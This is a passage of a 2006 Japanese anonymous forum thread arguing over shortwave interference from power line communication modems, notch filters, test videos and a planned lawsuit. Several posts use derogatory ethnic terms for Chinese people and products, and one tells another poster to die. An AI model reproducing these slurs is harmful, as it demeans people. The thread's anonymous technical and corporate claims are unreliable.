487 :名無しさんから2ch各局…:2006/12/02(土) 18:08:28
>>481
九州の大OMさんも離脱宣言した。


488 :名無しさんから2ch各局…:2006/12/02(土) 18:10:26
PLCが普及して通信速度が問題になったらその怪しげな中国製のハイパワー機
が重宝されるんじゃないのか。


489 :名無しさんから2ch各局…:2006/12/02(土) 18:18:32
あまりにも、一部の人が煽ってるスレになってしまったようですね。読んでいて
確かに一般のアマチュアを装った反対派に対する中傷が多すぎるように感じます
わ。それはともかくアマチュアバンドだけがクリアなら良いという意見はそりゃ
まずいでしょ。電力線に高周波を乗せる技術が短波帯を使う人達とは相容れない
のは考えるまでも無く、アマチュアバンドうんぬんは関係無しにして考えないと
それこそ自己中過ぎます。

アマチュアバンドにノッチを入れるというのは、取りも直さず入れなければノイズ
で破綻するという証明でもあります。他の短波帯ではそのノイズをばらまいている
訳ですから、やはり環境という視点から考えれば許せるものではありません。

アマチュアバンドだけが良ければ、構わないなどというさもしい意見こそ排除しなけ
ればならないと思います。短波帯は資源であり、人類の広い意味での財産ですし代替
手段が無い貴重な帯域です。これを守ろうとするのに対し、左翼だの共産党だのと何故か
レッテル張りをするのが解せません。どう聞いても、調べても左翼だのという意見など
出てきませんよ。皆短波帯を守りたい、ただそれだけです。あまりにも善良なアマチュアの
フリをした方が多数常駐しておられるようなので、一言申し述べました。

490 :名無しさんから2ch各局…:2006/12/02(土) 18:29:47
PLC (゚听)イラネ

491 :名無しさんから2ch各局…:2006/12/02(土) 18:37:35
>>489
そう思うんならPLC以外にも噛み付いたら?


492 :名無しさんから2ch各局…:2006/12/02(土) 18:44:46
>>489
>>短波帯は資源であり、人類の広い意味での財産ですし

その貴重な資源を一部の趣味で占有しているのは許せんな。
全ての人に平等にその資源をを優先すべき。

493 :名無しさんから2ch各局…:2006/12/02(土) 19:17:53
http://www.sv15.com/net/plc/plc-noise.htm

キタ━━━━━━(゜∀゜)━━━━━━ !!!!! 

494 :名無しさんから2ch各局…:2006/12/02(土) 19:22:33
>481
ソース キボンヌ

495 :名無しさんから2ch各局…:2006/12/02(土) 19:26:27
つーか、アマ反対や、PLC反対を唱える香具師は
こんなとこで時間潰してないで直接、電話やら、デモなど
行動を起したら?
実際にデモ起したら爆笑ものだけどねwwwww



496 :名無しさんから2ch各局…:2006/12/02(土) 19:27:37
>465-480
225 名前: 名無しさんから2ch各局… 投稿日: 2006/11/29(水) 12:35:12
http://jarl.iza.ne.jp/blog/
に誰か書き込んでくれ。

そんなに電磁波による環境汚染ってあるのかな?

電磁波発生源がダイポールアンテナ(1/4波長の線を左右に張ったアンテナ)であるとき、
そこから受ける電磁界の強度は以下の式で近似的に(アンテナの長さによる距離の差を
考えていません)求められます。距離の1乗・2乗・3乗に反比例する成分があることが
お解り頂けると思います。

7×√(P)×(1/r+λ/6.3r2−λ2/40r3)[V/m]

実際には、アンテナの上下方向の利得のためにその 1/3〜1/10になります。

これにより、一部で騒がれている「アマチュア無線局の電波が人体に影響を及ぼす」という
噂話も 殆ど煽動者によるでっちあげであることがおわかり頂けると思います。アンテナから
距離を置く・送信機や給電線を金属で覆って電波が漏れないようにするといった対策を無線局
が講じる必要はありますし、必要のない電力を出さない等の配慮も必要ですが、そういった対策
を行っている限りは これらの無線設備が近隣の人に与える影響は非常に小さいと考えられます。



参考リンク
http://www.jomon.ne.jp/~ja7bal/denjiha.htm


497 :R7DXN 煮海女親爺:2006/12/02(土) 19:28:17
OVER POWER 200Wer!

498 :名無しさんから2ch各局…:2006/12/02(土) 19:38:14
>>495
とっくに行動を起こしています、ご心配なく。貴方の会社にもね。

499 ::2006/12/02(土) 19:41:07
そうね。
アマ無線でもPLCでも電子レンジ、携帯電話などもたいして騒ぐもんじゃないよね。

500 :名無しさんから2ch各局…:2006/12/02(土) 19:43:21
電磁波環境汚染なんて、実はない。

501 :名無しさんから2ch各局…:2006/12/02(土) 19:48:55
>>493
いや、同じような実験をPLCモデムをFT817(3.5M)でやっても似たような結果になるのだが・・・

502 :名無しさんから2ch各局…:2006/12/02(土) 19:54:19
>>493
それはチャイナクオリティ。PLCのせいではない。

503 :名無しさんから2ch各局…:2006/12/02(土) 20:54:09
厚生労働省の件は、どうやら反対派が担当課(医薬局審査管理課)へ
ねじ込んだ結果らしい。
平成14年の薬事法改正により医療機器の(かなり厳しい)EMC基準が
定められ、今は既存機器の猶予期間が切れ始めている時期なため、
担当課がかなりピリピリしている所へ某大学教授をはじめとした(一見)
権威のありそうな人物を前面に押し出して申し入れをしたそうだ。
まあ、中の人ではないので真実であるかどうかまでは判らないが、
関係者の間での共通認識になっている事は事実。















こんな事を書くと荒れるのだろうな・・・。


504 :名無しさんから2ch各局…:2006/12/02(土) 21:14:56
いいんじゃない。戦術としては上等な部類だ。

505 :名無しさんから2ch各局…:2006/12/02(土) 22:32:14
ビデオ速報:これがPLCの雑音だ!松下PLCアダプター実験
http://www.sv15.com/net/plc/plc-noise.htm

まずは聴いてみるとよい。


















かなり酷いノイズ

506 :名無しさんから2ch各局…:2006/12/02(土) 22:40:40
放送を妨害する様子は明らかになった。
次は9950で実験すると良いかも。


507 :名無しさんから2ch各局…:2006/12/02(土) 23:01:56
家で使ったら確かに7とか14ではノイズになってる。
だけど隣に持っていってつないだら全くノイズが出ない。
これには驚いた。
皆さんも調べてみたらいい。大したノイズは出ないよ。


508 :名無しさんから2ch各局…:2006/12/02(土) 23:34:40
今、家で使ってるのは関係者だよね。。。

509 :名無しさんから2ch各局…:2006/12/02(土) 23:35:15
>>505
ラジオにDE1103使って実験している時点で信憑性は限りなく0%。
そのラジオだったら何でも良くノイズ拾うよww
いま俺の前でADSLで壊滅状態のそのラジヲがいまつwww

510 :名無しさんから2ch各局…:2006/12/02(土) 23:38:39
>>509
どのラジオなら信憑性あるの?

511 :名無しさんから2ch各局…:2006/12/02(土) 23:46:19
>>508
関係者だよねぇ

>>509
データ転送が始まると海外放送が聞こえなくなり,転送が終わったら放送が聞こえるようになった。
PLCからのノイズが海外放送を聞こえなくしたというのは確か。

512 :名無しさんから2ch各局…:2006/12/02(土) 23:46:38
DE1103か。
感度いいがその分ノイズやイメージ拾い捲るので結構有名だね。
甘茶無線のインターフェアー受けまくるし、放送局強電界地域では使えない。
安くてそこそこ使えるシナ製だが、もろ概観sonyのパクリだねww。
まさにチャイナクオリティー
545とか7030とかで実験したほうが吉

513 :名無しさんから2ch各局…:2006/12/02(土) 23:48:09
>>507
ノイズが出ない周波数もあり得る。電力線の長さが半波長になっていればよく出るというのは
電磁気を勉強すれば常識だし,そこから大きくずれていれば出にくいのも常識。
7と14って,ちょうど,整数倍だし・・・

514 :名無しさんから2ch各局…:2006/12/02(土) 23:48:26
>>509
たとえノイズ拾いやすいラジオでも、妨害してはならないことに違いはない。
ノイズ拾いにくいラジオへの買い替え費用をPLCメーカー又は運用者が
負担してくれるのなら別だが。

515 :名無しさんから2ch各局…:2006/12/02(土) 23:49:37
ダイソー300円ラジヲで実験汁!

516 :名無しさんから2ch各局…:2006/12/02(土) 23:51:36
どのラジオを使ったかは無関係。同じラジオを使っていることが重要。

(1) 海外放送が聴取できていた
(2) PLCをつかってデータ転送を始めたら海外放送が聞こえなくなった
(3) データ転送が終わったら,再び海外放送が聞こえるようになった

PLCによるデータ転送の時の妨害波が,海外放送を聞こえなくしたのが明らかになった。

517 :名無しさんから2ch各局…:2006/12/02(土) 23:52:50
インターフェアが出るとクレームきて、相手の使っている機器がチャイナ製だったら
間違いなくお前が使っている機器が悪いのでメーカに問い合わせろと言いますが何か?

518 :名無しさんから2ch各局…:2006/12/02(土) 23:55:17
そのラジヲつかってアマ局に、
「お前のせいで海外放送が聞こえない」と、
クレームつけられる罠w

519 :名無しさんから2ch各局…:2006/12/02(土) 23:58:17
DE1103、HF10wで完全に機能失う。あ、FM放送受信はとりあえずおk

520 :名無しさんから2ch各局…:2006/12/03(日) 00:01:11
ヒント:クレーマー(・∀・)

521 :名無しさんから2ch各局…:2006/12/03(日) 00:03:40
12/9になれば一般販売される
金はかかるが誰にでもテスト可能
オレには2マソ弱がモターイナイ!

522 :名無しさんから2ch各局…:2006/12/03(日) 00:07:46
シナにノイズ、混信除去する技術なんかないがな(´・ω・`)

523 :名無しさんから2ch各局…:2006/12/03(日) 00:08:22
じゃ、北京放送日本語プログラムは終了ですか?

524 :名無しさんから2ch各局…:2006/12/03(日) 00:10:01
手持ちのICF-SW7600GRで試してみよう。
PLCモデム買ってきまつ!

525 :名無しさんから2ch各局…:2006/12/03(日) 00:13:05
(´・ω・`)の顔がむかつくので今後使用禁止

526 :(´・ω・`)(´・ω・`):2006/12/03(日) 00:15:09
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・バ・`)(´・ カ・`)(´・メ・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)
(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)(´・ω・`)



527 :名無しさんから2ch各局…:2006/12/03(日) 00:19:59
オマエら,よく読め。どこ製のラジオを使っていようが,結果は同じ。

どのラジオを使ったかは無関係。同じラジオを使っていることが重要。

(1) 海外放送が聴取できていた
(2) PLCをつかってデータ転送を始めたら海外放送が聞こえなくなった
(3) データ転送が終わったら,再び海外放送が聞こえるようになった

PLCによるデータ転送の時の妨害波が,海外放送を聞こえなくしたのが明らかになった。

528 :名無しさんから2ch各局…:2006/12/03(日) 00:22:27
PLCを使う上での理想的な状態にして実験しています。

次にラジオ部分の条件です。
・市販の短波ラジオをPLCアダプターの横に置いてテスト
・短波放送が行われている17MHz帯の海外放送を受信
・比較的弱い電波(5段階で3〜4程度の強さ)を受信
・音声はデジカメによるものなので、録音状態はよくない
・窓際にラジオを置き、ベランダに電線2mを張って簡易アンテナとして使用

以上の状態です。

結構すごいノイズです。放送の内容がまったく聞き取れなくなっています。PLCでのファイル転送が
終わった途端、元の静かな状態に戻るのがわかると思います。ザーというノイズが際立っています。
これでは、海外放送はまともに聞けません。

なおこの実験では、撮影のためにPLCアダプターの真横にラジオを置いています。実際は真横だけ
ではなく、マンションの一室全体でノイズがあります。他の部屋でも、ベランダに出ても、短波ラジオに
ノイズがのってしまっています。

529 :名無しさんから2ch各局…:2006/12/03(日) 00:22:56
実機のノイズがアップロードされたとたん、関係者が馬脚を表しましたか。
論より証拠だねぇ。

530 :名無しさんから2ch各局…:2006/12/03(日) 00:42:30
PLCオワタ\(^o^)/

531 :名無しさんから2ch各局…:2006/12/03(日) 00:59:27
あれ?PLC関係者が急に消えた?

532 :名無しさんから2ch各局…:2006/12/03(日) 01:35:45
さあ 訴訟だ

533 :名無しさんから2ch各局…:2006/12/03(日) 02:09:40
市販のラジオってwwwwwwちょwwwwwまwwww
そこらの電気屋家電屋じゃ買えんだろwwwwwそのラジオwww
ネットで買うか中国、アメリカあたりでしか買えんぞwwww
今月号のラジヲライフに載ってたな、そのラジヲwww
同じ板に専用スレあんじゃん。
http://hobby8.2ch.net/test/read.cgi/radio/1164787741/l50
過去スレで叩かれていたなw
チャイナが誇るクオリティーwww愛好者3号wwwすばらしいラジヲだぞwwwww


534 :名無しさんから2ch各局…:2006/12/03(日) 02:41:50
ノイズに弱いことで超有名なラジオ→中国DEGEN社DE1103
何でこんなもんで実験したの?
こんな糞ラジオ、ノイズ拾って当たり前だろ。
わざとノイズ拾うことを誇張したくて使っているのか?

松下ラジオつかってノイズが出れば面白いのにwwww

535 :名無しさんから2ch各局…:2006/12/03(日) 03:00:45
DE1103はシルバーに限る
ブラックはダサいね、やっぱw
ボディがブラックなのにツマミがグレーはセンスなし

そんなことよりDE1103なんかじゃなくDE1121でテストしてくれ
購入予定なので参考にしたい

536 :名無しさんから2ch各局…:2006/12/03(日) 03:11:30
ちなみに漏れの1103。マンション室内ホイップでNIKKEI受信中に
蛍光灯(インバータ)つけると、似たようなノイズで聞こえなくなるorz

537 :名無しさんから2ch各局…:2006/12/03(日) 03:11:46
支那産といえばやっぱり七色に光る川と汚染食品。

-------------------------------------------------------------------------------
http://www.mainichi-msn.co.jp/shakai/jiken/news/20061202k0000m040040000c.htmlより引用

ワインメーカーのメルシャンは1日、養殖魚のえさの原料に使用した中国産魚粉の中に、
有害物質のマラカイトグリーンが混入していたと発表した。マラカイトグリーンは発がん
性が指摘されており、同社はえさを食べた養殖魚をすべて買い取って廃棄処分する。
養殖業者などへの補償を含めて、損失は約15億円に上る見通し。
農林水産省の定期調査で明らかになった。同社によると、製造したえさは約1000トンで、
このうち約800トンをブリやハマチの養殖業者向けに出荷した。
-------------------------------------------------------------------------------
PLCも正にこれと同じ 売った後はどうなろうと知ったこっちゃない の支那毒野菜クオリティだね。

538 :名無しさんから2ch各局…:2006/12/03(日) 03:30:45
DE1103ね。まあ、国内ではあんま数が出てないのはたしかやね。

ここはひとつ、、、
ホムセンや電器屋に普通に並んでるYM-12やRAD-S311N、ICF-SW11やSW22、RF-B11
のような【普及機】で試すのがよかろう。

539 :名無しさんから2ch各局…:2006/12/03(日) 03:34:28
イヤッッホォォォオオォオウ!
   +   巛ヽ
       〒| +
  +   。||
*   +   / /
   ∧_∧ / /
  (´∀`/ / +
  ,-    f
 /ュヘ   |*
`〈_} )  |
   /   ヽ +
ガタン / ,ヘ |
||| j / | | |||
――――――――――
それがチャイナクオリティ



540 :名無しさんから2ch各局…:2006/12/03(日) 03:36:17
ノイズがのって当たり前

541 :名無しさんから2ch各局…:2006/12/03(日) 03:46:55
>>508
これをネタにご飯食べてる人っぽいね
ネタを煽らないとご飯食べれませんから必死でつwww

542 :名無しさんから2ch各局…:2006/12/03(日) 05:37:30
松下の新製品発表会で、発表会来たマスコミ関係者で希望者には
申込書書いたら後日送付しますっていってたらしい。

ノイズの記事書いてる三上氏とかもそれで入手したんじゃないの?




まあ、企業関係者の確率の方が圧倒的に多いとは思うがねwww




543 :名無しさんから2ch各局…:2006/12/03(日) 05:58:35
俺たちのゼネカバ無線機で実験しても良いけれど、あまり一般向けとは言えない
よなあ。ワシあと持ってるのってFRG-8800とIC-R71しか無いんだわ。これも一般
的とは言えないしな。ICF-SW11とか調達してこないとダメかね?

544 :名無しさんから2ch各局…:2006/12/03(日) 08:18:39
RF-B11がノイズで使い物にならなくなったらお笑いだな。

ノイズ出すパナモデムに、ノイズ拾い捲りなパナラジオRF-B11。

どうする真似下? ってなカンジで。誰かやれRF-B11でやれ。

545 :名無しさんから2ch各局…:2006/12/03(日) 08:27:25
>ノイズ出すパナモデムに、ノイズ拾い捲りなパナラジオRF-B11

どっちが悪いんだよ?wwwwwwww

546 :名無しさんから2ch各局…:2006/12/03(日) 09:43:06
PLCを使う上での理想的な状態にして実験しています。

次にラジオ部分の条件です。
・市販の短波ラジオをPLCアダプターの横に置いてテスト
・短波放送が行われている17MHz帯の海外放送を受信
・比較的弱い電波(5段階で3〜4程度の強さ)を受信
・音声はデジカメによるものなので、録音状態はよくない
・窓際にラジオを置き、ベランダに電線2mを張って簡易アンテナとして使用

以上の状態です。

結構すごいノイズです。放送の内容がまったく聞き取れなくなっています。PLCでのファイル転送が
終わった途端、元の静かな状態に戻るのがわかると思います。ザーというノイズが際立っています。
これでは、海外放送はまともに聞けません。

なおこの実験では、撮影のためにPLCアダプターの真横にラジオを置いています。実際は真横だけ
ではなく、マンションの一室全体でノイズがあります。他の部屋でも、ベランダに出ても、短波ラジオに
ノイズがのってしまっています。

547 :名無しさんから2ch各局…:2006/12/03(日) 10:00:22
ライター@三上本人が煽っている

548 :名無しさんから2ch各局…:2006/12/03(日) 11:01:48
本人降臨中かよw
ノイズフロアすれすれの放送で、しかもDE1103つかって
さも”PLCノイズに潰されますたー”みたいなこと言われても
マスゴミの言うことは(゚听)シンジランネ
12/9になったら自分でかってきて7600GR使って自分で確かめるッス

549 :名無しさんから2ch各局…:2006/12/03(日) 11:32:15
徹底的に死ね

550 :名無しさんから2ch各局…:2006/12/03(日) 11:37:48
>>548
期待して待ってるよニヤニヤ

551 :名無しさんから2ch各局…:2006/12/03(日) 11:55:50
湧いとる湧いとるw

552 :名無しさんから2ch各局…:2006/12/03(日) 12:07:35
来てまつ来てまつ!

553 :名無しさんから2ch各局…:2006/12/03(日) 13:20:23
ラジオNIKKEIやアマチュアバンドにノッチを入れているのに
非常通信周波数4,630kHzや洋上管制の周波数にノッチが入ってないのは人命軽視だな。
石油温風機死亡事故の教訓が活かされていないようだ。


554 :R7DXN 煮海女親爺:2006/12/03(日) 13:20:57
OVER POWER 200Wer!

555 :名無しさんから2ch各局…:2006/12/03(日) 13:26:45
PLC盗聴はどうなの?

パワーラインが直接通信設備になると言うことは、
PLCモデルを配置しなくても盗める可能性が非常に高いと言うことだろ

これ検地できねえもんかね
犯罪者渡辺対策

556 ::2006/12/03(日) 13:28:16
4630にノッチが無い? 怒る人がおりますよ
壊滅的な災害なら停電するから問題ないとか?

557 :名無しさんから2ch各局…:2006/12/03(日) 13:36:02
俺の家ではPCをONするとラジオは全く聞けなく
なる
別にPLCに始まった話ではない
ノイズを出しまくる家電やPCが多過ぎる

558 :名無しさんから2ch各局…:2006/12/03(日) 13:36:42
>>556
「壊滅的な災害なら停電するから問題ない」ってことはないですよ。
災害時は被災地の情報を得るため
被災地と災害を受けていない地域とが通信することが多いと思います。
被災地は停電して非常電源で運用することがあるでしょうが、
災害を受けていない地域では商用電源が使えます。


559 :名無しさんから2ch各局…:2006/12/03(日) 13:41:42
国内の製品で↑↑↑のノイズなんだから
支那製のPLCだど_| ̄|○だろうな。

560 :558:2006/12/03(日) 13:50:27
>>558のつづき
当然、問題になるのは災害を受けていない地域での受信です。
災害を受けていない地域は電源に余裕があるから出力を上げることも容易でしょう
被災地が非常電源で運用している場合、出力を上げることも困難な状況が考えられます。
これは重大な問題です。

561 :名無しさんから2ch各局…:2006/12/03(日) 13:52:43
君たち、問題の核心は家の中の何処でもノイズ交じりになったことなんだよ。
PCを付ければ近くのラジオは聞こえなくなるけれど数m離せばOK。

せっかくモデムを借りてきているんならば、PCから離れて家の居間などで
どうなってしまうのだか尻鯛。


562 :名無しさんから2ch各局…:2006/12/03(日) 13:56:33
12月某日 提訴日決定、同時に東京地裁司法クラブにて記者会見
11月18日 原告団集会開催されました。
11月14日 厚生労働省から総合通信局電波環境課へ依頼文書
11月9日 厚生労働省から各都道府県衛生主管部長への通知
11月11日 委任状締切り(必着)
11月 6日 原告団の方々に委任状(PDF)をお送りしました。
11月 5日 弁護士との最終打ち合わせを行いました。
11月 4日 原告団は106名となりました。


563 :名無しさんから2ch各局…:2006/12/03(日) 13:58:26
素朴な疑問だが、OFDMのキャリアを抜いただけでは、2nや3n・・・の
高調波は出まくりだろ?

>測定汁!JARLのヒト。

564 :名無しさんから2ch各局…:2006/12/03(日) 14:01:16
ノッチの良否ショー

565 :名無しさんから2ch各局…:2006/12/03(日) 14:12:27
http://www.iodata.jp/prod/network/plcadapter/2006/plc-etm/index.htm#enq
このページの下にアンケート欄がある。TRY汁。

566 :名無しさんから2ch各局…:2006/12/03(日) 15:43:21
とりあえず甘茶バンドはノッチ利いてるということね
14MHzが帯域のセンターなのでどうなることやらと原原してますたbyJARL


567 :名無しさんから2ch各局…:2006/12/03(日) 16:20:15
>>563
OFDMはアンプの直線性が悪いとまったく使えなくなります。
だから直接装置からは2nd、3rdともにほとんど出ないと思います。
が、配電線上には沢山の非線形素子がぶら下がっています。
そこでは盛大に高調波や相互変調やらが発生することでしょう。
これもフィールド実験じゃないと分からないのでした。

568 :名無しさんから2ch各局…:2006/12/03(日) 16:51:16
( ´_ゝ`)フーン

569 :名無しさんから2ch各局…:2006/12/03(日) 17:18:43
http://wind.ap.teacup.com/je1cka/2380.html

「PLCモデムの実験協力」

570 :名無しさんから2ch各局…:2006/12/03(日) 20:47:25
>>567
非線形素子が沢山あっても、そこに流れ込む電流が極微小
だから、見かけ線形で動作して歪みはほとんど発生しないのでは?

571 :名無しさんから2ch各局…:2006/12/03(日) 23:21:10
いや、このスレではどうあっても歪ませて、ことを大きく大きく大きく誇張します
最大限、リスクを洗い出し、納得がいくまで検討吊るのでつ

572 :名無しさんから2ch各局…:2006/12/03(日) 23:36:57
どうせPLCは普及しないし,普及してくれないほうがPLCを販売した企業も撤退の理由が出来て
喜ぶ。

573 :名無しさんから2ch各局…:2006/12/03(日) 23:42:56
なんか左翼系反対派、スキャンダルマスゴミが屯すスレになっちゃったね

普通に反対する人には近寄りがたいスレだよ

ここは・・・



574 :名無しさんから2ch各局…:2006/12/03(日) 23:45:58
>>573
レッテル貼りしかできないお方登場!

575 :名無しさんから2ch各局…:2006/12/03(日) 23:48:08
>>574
ガンガってな
じゃな

576 :名無しさんから2ch各局…:2006/12/03(日) 23:59:53
>>570
まあ実際どうなるかはやってないと分からないですが

・50Hzがバイアスになっている
・定在波のため特定の波長で電圧が高くなる
・ノーマルモードの出力はそれなりに大きい。
 現在は公表されていないが、過去の資料にあるものでは-50dBm/Hzほどある。
 20Mの帯域(73dB)だとすると、トータルでは23dBm=200mWになる。
・昨今は電源周りもショットキーダイオードで作られている。

などから、結構発生しやすいのではないかと思われます。
携帯充電器をつなぐと速度が落ちるのも、ここら辺に問題があるような気がします。

577 :名無しさんから2ch各局…:2006/12/04(月) 00:13:42
アマチュアバンドとラジオNIKKEI以外全滅というのが本当なら、
JARLは自殺したも同じだな。
自分が良けりゃそれで良しかよ。
そうなりゃ天文とBCLが黙ってないだろう。


578 :名無しさんから2ch各局…:2006/12/04(月) 06:08:11
また反対派の連中が自分で実験もしないで騒いでいるよ。
アマチュア無線技士ならもってまともな定量データを元に文句を言えばいいのにな。
それもできずにただ不安を流布するとはだらしない。
昨日もテストに立ち会ったが自宅で使用しない限り目だったノイズは出なかった。
参加者の多くは(アマチュアだが)結構重宝なものだというのが感想だった。
俺も今までは不安だったが、大げさに騒ぐ連中の意図はなんなんだよ。
CQ誌にレポートが載るよ。どうせまたそれにも文句をつけるんだろうがね。


579 :名無しさんから2ch各局…:2006/12/04(月) 07:05:49
アマチュアバンドに問題が無ければ良いと言った狭量な問題では無いのが
分かりませんか?>>577にも書いてあるでしょう、非常通信や洋上管制も
含むHF帯全域の問題なんですよ。

580 :名無しさんから2ch各局…:2006/12/04(月) 07:31:20
ttp://www.itmedia.co.jp/enterprise/articles/0612/01/news069.html
30:NECがPLC専門部隊を設置、200億円ビジネスの基盤に

これから裁判が始まるのに。20人の人柱さん、職場の異動を申請
したらどう?


581 :名無しさんから2ch各局…:2006/12/04(月) 07:38:59
>480 :名無しさんから2ch各局…:2006/12/02(土) 17:50:06
>アイオーデータの奴について社員に電話した。自宅で使わない限りことさら問題になるレベルじゃないってさ。
>因みにその人皆も知ってるDXerよ。
アイオーにはDXerは「居ません」。大嘘つかないで下さい。
海外では「泥棒野郎」と罵られたヤ○○企業というのが評価です。
電○があまりの酷さに広告を断って逃げ出したという話があるくらいです。



582 :名無しさんから2ch各局…:2006/12/04(月) 07:53:23
>>579
偉いんだなあ。俺なんかアマチュアさえよければいいよ。
そんな壮大な理想を持ってるならJARLの会長にでもなれよ。


583 :PLCマンセー:2006/12/04(月) 07:54:18
659名前: 名無しさんから2ch各局…投稿日: 2006/12/04(月) 07:51:19
>アマチュア無線というものがもはや活性化される望みも無くいわゆる伝統芸能
>としていずれ歴史にしか残らないものになっていくのだろう。 こういう状態
>なのにあのJARLは相変わらずくだらないことに夢中で、今は社団法人の維
>持に賢明だ。 そろそろ「アマチュア無線の生涯」とでもいう本でも編纂した
>らどうだろうか。 今のJARLの姿にはそれが最も似合う。
>アマチュア自身ももこのまま進歩できないJARLと運命を共に消え去ること
>を望んでいるのだろう。

KSOこそ先に逝け!おまえはいらん。

584 :名無しさんから2ch各局…:2006/12/04(月) 07:58:29
>>582
最初はノッチ、次はノッチなし、次は屋外、次は周波数拡大。
確実に押し寄せてくる。そのときに後悔しても始まらない。
現行規格でNGなのに、なんで大丈夫だと思うのだろう・・・

585 :名無しさんから2ch各局…:2006/12/04(月) 08:13:47
おまえそんな先まで無線やってるのかよ。
わろた。

586 :名無しさんから2ch各局…:2006/12/04(月) 08:16:06
多分3年以内だよ。

587 :名無しさんから2ch各局…:2006/12/04(月) 08:48:13
訴訟はどうなったんだよ。俺は辞退したけどやるんなら早くしろよ。


588 :名無しさんから2ch各局…:2006/12/04(月) 09:00:13
目的は行政の悪行を追求するのだからいろいろと準備が必要。
プレスリリースを製作中。さらに記者会見をセットします。
社会党の東京都選出の議員のスケジュールを調整中です。
慌てないでくださいよ。

589 :名無しさんから2ch各局…:2006/12/04(月) 09:04:08
社会党なんかもうないやろ?
やはりこういうのは自民党に限る!
野党なんかあかんで。

590 :名無しさんから2ch各局…:2006/12/04(月) 09:45:01
今は社民党かい。消滅もまじか。

591 :名無しさんから2ch各局…:2006/12/04(月) 09:46:10
>>586
また根拠の無い妄想かよ。

592 :名無しさんから2ch各局…:2006/12/04(月) 10:18:00
先週末の合同試験でアマチュアには実害が無いことがわかったんだからもういいじゃないの。
それでもやるならご勝手にだな。


593 :名無しさんから2ch各局…:2006/12/04(月) 10:34:52
反対派は発売されたら入手するだとさ。
もうこれほど流通しているのにまだとは実力がないということ。


594 :名無しさんから2ch各局…:2006/12/04(月) 10:37:20
来てまつ来てまつ!

595 :名無しさんから2ch各局…:2006/12/04(月) 11:42:16
昨日秋葉で中国製のを見かけたけど200メートル離れて
40メガだとさ。いったいどれだけのノイズを出すんだよ。


596 :名無しさんから2ch各局…:2006/12/04(月) 11:43:18
>>592
アマチュアや日経ラジオに実害が出るからこそ35dBのノッチを自主的(?)にいれた。
つまり,総務省の許容値が35dB甘いということを製造業者が認めているということ。

コモンモード電流値で規制するにしても,現在の30/20 dBμAではなく,-5 / -15 dBμAを
許容値にしなければならないということを暗黙に認めた,ということ。

JARLもそういうノッチを入れればアマチュアバンドに問題が生じないとしたのだから,言い換えれば,
ノッチが入らないレベルでもOKとしたJARLの判断が間違いであったことを自ら認めたに等しい。

597 :名無しさんから2ch各局…:2006/12/04(月) 11:52:23
>>596
またこいつか。だからなんだかんだ言う前に早く入手してみろ。
ノッチの入っていない周波数だって隣家で使う程度なら問題ないレベルだぞ。
使いもしないで書くなドアホ!
うちの会社にも相当数届いている。皆結構面白がってるよ。
勿論問題になるほどのノイズは出ない。9日の発売日まで待ってるのはあんた
くらいだよ。


598 :名無しさんから2ch各局…:2006/12/04(月) 12:05:57
>>597
妄想家?

599 :名無しさんから2ch各局…:2006/12/04(月) 12:07:30
>>597
あぁ,聞きたくない!!!!!!  やぁめぇてぇくれぇぇぇぇぇ

ビデオ速報:これがPLCの雑音だ!松下PLCアダプター実験
http://www.sv15.com/net/plc/plc-noise.htm

600 :名無しさんから2ch各局…:2006/12/04(月) 12:16:07
>>592
>先週末の合同試験でアマチュアには実害が無いことがわかったんだから
今までの経緯(イヤ、前科って言うほうがいいかな?)があるからねぇ、とてもとても
信じられるモンじゃないですよ。
初期ロットにはキッチリ対策して、あとは知らん振りなんてのはしょっちゅうあるじゃ
ないですか > 自社の儲けのみ至上主義のメーカーさん

601 :名無しさんから2ch各局…:2006/12/04(月) 12:17:31
>>398
> やりすぎると松下から営業妨害とか名誉毀損で訴えられるよ。

これは脅しですね。

602 :名無しさんから2ch各局…:2006/12/04(月) 12:22:14
社畜がうようよしてて気持ち悪いスレですね。
PLCがノイズをばらまくことは、現状では回避できない。

ノイズは検出できないとか言ってる馬鹿がいるけど、
反対の声を上げたアマチュアへの対策として、
ノッチを入れただけでしょ。

603 :名無しさんから2ch各局…:2006/12/04(月) 12:27:19
昼休みですか?

604 :名無しさんから2ch各局…:2006/12/04(月) 12:28:25
>>592
JARLとしては,今更「問題があることが分かった」なんて,口が裂けても言えないし。

605 :名無しさんから2ch各局…:2006/12/04(月) 12:31:01
Pollution Leakage Communication

606 :名無しさんから2ch各局…:2006/12/04(月) 12:31:10
JARL:「賛成してあげたんだから,アマチュアバンドにノッチを入れなさい。」
某企業:「その程度なら速度もそんなに落ちないし,わかりました。そうしましょう。アメリカでもそうやって
いるのだから。」
両者:「では,そういうことで。」

607 :名無しさんから2ch各局…:2006/12/04(月) 14:18:13
>>569
http://wind.ap.teacup.com/je1cka/2380.html
なんだよこれ、笑えるぜ。
こいつらまともな無線設備もインターネット環境も無いのに反対してるのかよ。
今時そういう環境がなくてよく無線をやってるな。
こんな局を探すのにわざわざBLOGにまで書かないとというのでは情け無い。
こいつらまず初めにちゃんと無線できるようにしとか。

608 :名無しさんから2ch各局…:2006/12/04(月) 14:22:01
たのまなくたってもう入手したよ。
家で使ったらかすかにブハーブハーいっていたが大したもんじゃなかった。
アンテナがまともに20mくらいだと7でちょっと感じるくらいだよ。ノイズの海なんか全くなし。
ちゃんと使ってみろ。因みに俺は販売店経由だよ。もう初期ロットは入荷してるよ。


